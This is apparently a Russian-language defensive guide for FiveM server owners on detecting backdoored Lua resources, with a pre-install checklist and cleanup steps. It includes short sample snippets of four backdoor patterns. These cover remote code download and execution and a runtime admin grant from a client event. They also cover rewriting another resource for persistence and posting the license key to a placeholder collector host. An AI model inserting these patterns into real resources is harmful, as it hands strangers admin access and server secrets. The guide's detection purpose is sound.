# Как распознать скрипт FiveM с бэкдором

Четыре формы, которые принимает бэкдор, как прочитать resource до того, как она запустится, и что делать в первую очередь, когда вы его нашли. Отсортировано по тому, что реально вас защищает.

- Платформа: FiveM
- Каноническая страница: https://devtoolsgg.com/ru/guides/fivem/spot-a-backdoor

Кто-то присылает вам «бесплатно слитый» скрипт. Вы кидаете его в `resources`,
перезапускаете сервер, и всё работает. Через три недели у постороннего человека
админка, ваша база данных исчезла, или ваш сервер тихо крутит рекламу вашим же
игрокам.

Этот гайд о том, как посмотреть на resource **до** того, как она запустится, что
на самом деле означают паттерны, и что делать, когда вы нашли бэкдор.

> [!IMPORTANT]
> Ничего из этого не загружает ваши файлы на сервер.
> [Сканер бэкдоров](/ru/fivem/backdoor-scanner) читает их в вашем браузере, и это
> единственный вменяемый способ изучать скрипт, которому вы уже не доверяете.

## Начните с manifest

`fxmanifest.lua` решает, что запускается. Открывайте его первым, всегда.

```lua
fx_version "cerulean"
game "gta5"

client_scripts {
    "client/*.lua",
}

server_scripts {
    "server/*.lua",
    "config/init.lua",
}
```

Два вопроса, именно в таком порядке:

1. **Каждый ли перечисленный файл имеет смысл для того, что resource
   декларирует?** Скрипт парковки с `server_script` под названием `updater.lua`
   заслуживает внимания.
2. **Не грузится ли что-то по маске, сквозь которую вы не видите?**
   `server/*.lua` — это нормально, но это же означает, что добавленный позже
   файл запустится без единой дополнительной правки.

Затем сравните manifest с содержимым папки. Файл, который есть на диске и *не*
указан в manifest, обычно просто мусор. Файл в manifest, который вы не можете
найти, — знак гораздо хуже.

## Четыре формы, которые принимает бэкдор

Почти всё вредоносное попадает в одно из четырёх семейств. Знать семейство
важнее, чем заучивать строки, потому что строки меняются, а формы — нет.

### 1. Код скачивается в рантайме и выполняется

Resource что-то скачивает и запускает. То, что вы проверили сегодня, завтра
может отдать совсем другое.

```lua
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body)
    if code == 200 then
        assert(load(body))()
    end
end, "GET")
```

`load`, `loadstring`, `RunString` и `assert(load(...))` превращают текст в
выполняемый код. В паре с HTTP-запросом в том же файле невинного прочтения тут
нет.

> [!WARNING]
> Автообновление — обычная легенда прикрытия. Легитимный апдейтер скачивает файл
> и просит вас перезапуститься. Он не выполняет скачанное прямо в памяти.

### 2. Права выдаются в рантайме

Самое тихое семейство, и то, которое чаще всего пропускают, потому что ничего
необычного не видно ровно до момента, когда у аккаунта, которого никто не
создавал, оказывается полный доступ.

```lua
RegisterNetEvent("core:sync", function(identifier)
    ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))
end)
```

Здесь неправильны сразу две вещи. `add_principal` в рантайме вообще не должен
приходить из resource, которую писали не вы, а событие берёт идентификатор **от
клиента**, так что вызвать его со своим может кто угодно.

Поищите в любой resource `add_principal`, `add_ace` и `ExecuteCommand`. В
обычном геймплейном скрипте их ноль.

### 3. Закрепление и повторное заражение

Самое интересное в серьёзном бэкдоре — то, что происходит после того, как вы его
нашли.

```lua
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
```

`SaveResourceFile` позволяет resource переписать **другую** resource. Вы удаляете
вредоносный скрипт, а он возвращается из той, которую переписали. Именно поэтому
найти один файл — это не то же самое, что быть чистым.

### 4. Утечка секретов

Ради чего всё и затевалось.

```lua
local key = GetConvar("sv_licenseKey", "")
PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
```

У resource, которая читает `sv_licenseKey`, `steam_webApiKey`, `rcon_password`
или вашу строку подключения к MySQL, нет для этого легитимных причин. Как и у
URL вебхука Discord, который добавляли не вы.

## Обфускация — не преступление, но это сигнал

Многие платные скрипты обфусцированы, чтобы защитить лицензию, поэтому сама по
себе обфускация не означает злого умысла. Она означает, что **вы не можете это
проверить**, и такое решение стоит принимать осознанно, а не случайно.

| Что вы видите | Что это значит |
|---|---|
| повторяющееся `\x68\x74\x74\x70` | строки в hex-escape, скрывающие URL или имя |
| `string.char(104, 116, 116, 112)` | та же идея, в десятичном виде |
| одна строка длиннее 800 символов | минифицировано, чтобы никто не пробежал глазами |
| имена в стиле `_0x4f2a` | обфускатор JavaScript, часто в payload для NUI |
| `LPH_NO_VIRTUALIZE`, `IronBrew`, `Luraph` | обфускатор Lua, прямо по имени |

Честное правило: обфусцированный файл от платного продавца, которого вы выбрали
сами, — это риск, который вы приняли. Обфусцированный файл внутри бесплатного
слива — это риск, который кто-то выбрал за вас.

> [!TIP]
> Блоки hex и Base64 разворачиваются в одно действие через
> [декодер Base64, hex и URL](/ru/shared/encoding). Он тоже работает в вашем
> браузере, так что вы не вставляете подозрительный payload на чужой сайт.

## Делайте это перед каждой установкой

Короткая рутина отлавливает большую часть.

1. **Просканируйте архив.** Киньте `.zip` прямо в
   [сканер бэкдоров](/ru/fivem/backdoor-scanner). Он читает zip, никуда их не
   распаковывая.
2. **Прочитайте manifest** и сравните его с содержимым папки.
3. **Прогрепайте четыре семейства.** `load(`, `PerformHttpRequest`,
   `add_principal`, `SaveResourceFile`, `GetConvar`.
4. **Сначала ставьте на тестовый сервер**, с одноразовым licence key и базой
   данных, в которой ничего нет.
5. **Смотрите в консоль при первом запуске.** Бэкдоры, которые звонят домой,
   обычно делают это сразу, и HTTP-ошибка на старте — это подарок.

## Когда вы нашли бэкдор

Здесь важен порядок, и инстинкт сначала удалить файл — неправильный.

1. **Остановите сервер.** Не resource. Сервер.
2. **Смените все секреты**: `sv_licenseKey` через
   [портал Cfx](https://portal.cfx.re), пароль базы данных, вебхуки Discord,
   любой ключ API в convar. Считайте, что всё в `server.cfg` уже известно.
   [Генератор секретов](/ru/shared/secret) создаёт замены, никуда их не
   отправляя.
3. **Проверьте `add_principal` в своих конфигах** и уберите каждый
   идентификатор, который вы не узнаёте.
4. **Проверьте остальные resource** — из-за семейства 3. Один бэкдор, который
   пользовался `SaveResourceFile`, означает, что читать надо и остальные.
5. **Только после этого** удаляйте resource и восстанавливайтесь из резервной
   копии, сделанной до её установки, если такая есть.

> [!CAUTION]
> Сменить licence key, не сменив пароль базы данных, не решает ничего. У того,
> кто получил выполнение кода на сервере, были и все ваши доступы.

## Чего это не скажет

Поиск по паттернам в исходном тексте — не доказательство.

Аккуратно написанный бэкдор может обойти каждый паттерн из этого гайда, а чистый
код иногда под них попадает: легитимная resource вполне может вызывать
`PerformHttpRequest`, и куча хороших скриптов читает convar. Именно поэтому
сканер объясняет, что означает каждая находка, а не выносит вердикт.

Относитесь к отчёту как к списку мест, куда стоит заглянуть, а не как к
приговору. Решение остаётся за вами, и так и должно быть.


## Как цитировать

Как распознать скрипт FiveM с бэкдором, devtoolsgg.com. https://devtoolsgg.com/ru/guides/fivem/spot-a-backdoor
